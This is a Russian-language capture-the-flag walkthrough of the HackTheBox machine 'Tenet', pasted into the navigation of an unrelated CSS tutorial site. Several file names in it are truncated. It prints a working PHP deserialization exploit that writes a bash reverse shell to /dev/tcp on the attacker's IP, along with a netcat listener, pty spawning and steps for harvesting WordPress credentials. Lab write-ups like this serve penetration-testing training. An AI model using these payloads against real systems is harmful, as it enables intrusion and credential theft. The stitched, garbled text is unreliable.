Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
По традиции начнем с того, что добавим IP машины (10.
) в /
, чтобы больше не печатать его руками.
10.10.10.223 tenet.htb
И сканируем порты:
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Результат работы скриптаСкрипт находит два открытых порта: 22 (служба SSH) и 80 (веб‑сервер Apache). SSH закрыт, и без учетки там делать нечего, поэтому будем «пробивать» веб. Помимо точек входа, нас интересуют любые подробности, поэтому внимательно изучаем сайт.
На одной из страниц находим интересный комментарий — его оставил пользователь neil
. В комментарии упоминается файл sator.
, а также бэкап.
Это очень важная для нас информация. Не исключено, что там мы и найдем точку входа, если администратор не выполнил просьбу Нила и не спрятал файлы. Первым делом я решил поискать бэкапы sator.
при помощи утилиты bfac, которая перебирает подходящие варианты.
bfac --urlhttp://tenet.htb/sator.php
Поиск бэкапов файла sator.php с помощью bfacНо к сожалению, нам не удалось найти никаких бэкапов.
Не оставляя идею с sator
, я решил проверить поддомен sator.
. Чтобы обратиться к виртуальному хосту, нужно указать его адрес в заголовке Host
HTTP-запроса. Проверить доступ можно с помощью curl.
curl -H 'Host: sator.tenet.htb'http://tenet.htb
Запрос к виртуальному хосту sator.tenet.phpВеб‑сервер вернул нам дефолтную страницу Apache 2. Хвалим себя за удачную находку и добавляем запись в файл /
.
10.10.10.223 sator.tenet.htb
Следующий шаг в таких случаях — просканировать директории на найденном домене. Но, помня о комментарии, я сначала поищу бэкапы файла sator.
. На этот раз нам повезло — находим бэкап и можем скачать его для анализа.
bfac --urlhttp://sator.tenet.htb/sator.php
Поиск бэкапов файла sator.php с помощью bfac Давай разберемся с кодом. Этот файл ждет, что будет указан параметр arepo
, а переданные данные подвергаются десериализации (строки 23–24). Также имеется класс DatabaseExport
, содержащий имя файла и данные (строки 3–6), которые будут записаны в этот файл при вызове деструктора класса (строки 15–20).
Получается, что мы можем сериализовать объект такого класса и отправить сериализованные данные на сервер. А это открывает возможность записать какие угодно данные в любой файл. Писать мы, конечно, будем бэкшелл. Но сначала проверим, есть ли на сервере файл, бэкап которого мы разобрали.
Результаты работы sator.
и бэкапа идентичные, а значит, все должно получиться. Но сначала нам нужно запустить листенер, который будет принимать соединение с нашей стороны. Я буду использовать netcat и оболочку rlwrap.
apt install rlwrap
rlwrap nc -lvp [port]
Теперь разберемся с эксплуатацией. Копируем определение класса DatabaseExport
, а затем задаем значение переменных: user_file
— это имя файла, а data
— бэкшелл, который будет записан в файл (строки 2–11). Остается создать экземпляр класса, сериализовать его и передать в качестве данных на известный нам адрес (строки 12–13). Завершающим действием будет обращение к файлу с бэкшеллом (строка 14).
class DatabaseExport{public $user_file = 'r.php';public $data = '<?php exec("/bin/bash -c 'bash -i /dev/tcp/10.10.14.107/4321 0&1'"); ?>';public function __destruct(){file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);}}$url = 'http://sator.tenet.htb/sator.php?arepo=' . urlencode(serialize(new DatabaseExport));$response = file_get_contents("$url");$response = file_get_contents("http://10.10.10.223/r.php");?>
Выполняем этот код прямо в консоли и получаем шелл в окне листенера.
php exploit.php
Бэкконнект в окне листенера Так как на хосте развернут веб‑сервер, где крутится целая CMS, то первое наше действие после захвата шелла — попробовать получить какие‑нибудь учетные данные пользователей. Высока вероятность, что эти учетки подойдут и для локальных пользователей. Для удобства получим интерактивный шелл с помощью Python 3, а потом поищем директорию WordPress.
python3 -c "import pty; pty.spawn('/bin/bash')"
Содержимое директории веб‑сервераВ WordPress есть место, где учетные данные есть всегда, — файл с настройками для подключения к базе данных wp-config.
.
Эти учетные данные позволяют подключиться к базе данных и получить другие критические данные пользователей, но в этом случае мы можем сразу авторизоваться с ними на сервере по SSH.
Зайдя под пользователем, мы теперь хотим получить рут, но вряд ли создатели машины просто оставили нам нужный ключ лежащим где‑то на видном месте. Для упрощения поисков я обычно гоняю скрипты LinPEAS, но можно сразу проверить наиболее вероятные места: настройки sudoers, приложения с выставленным битом SUID, прослушиваемые на локалхосте порты.
|
|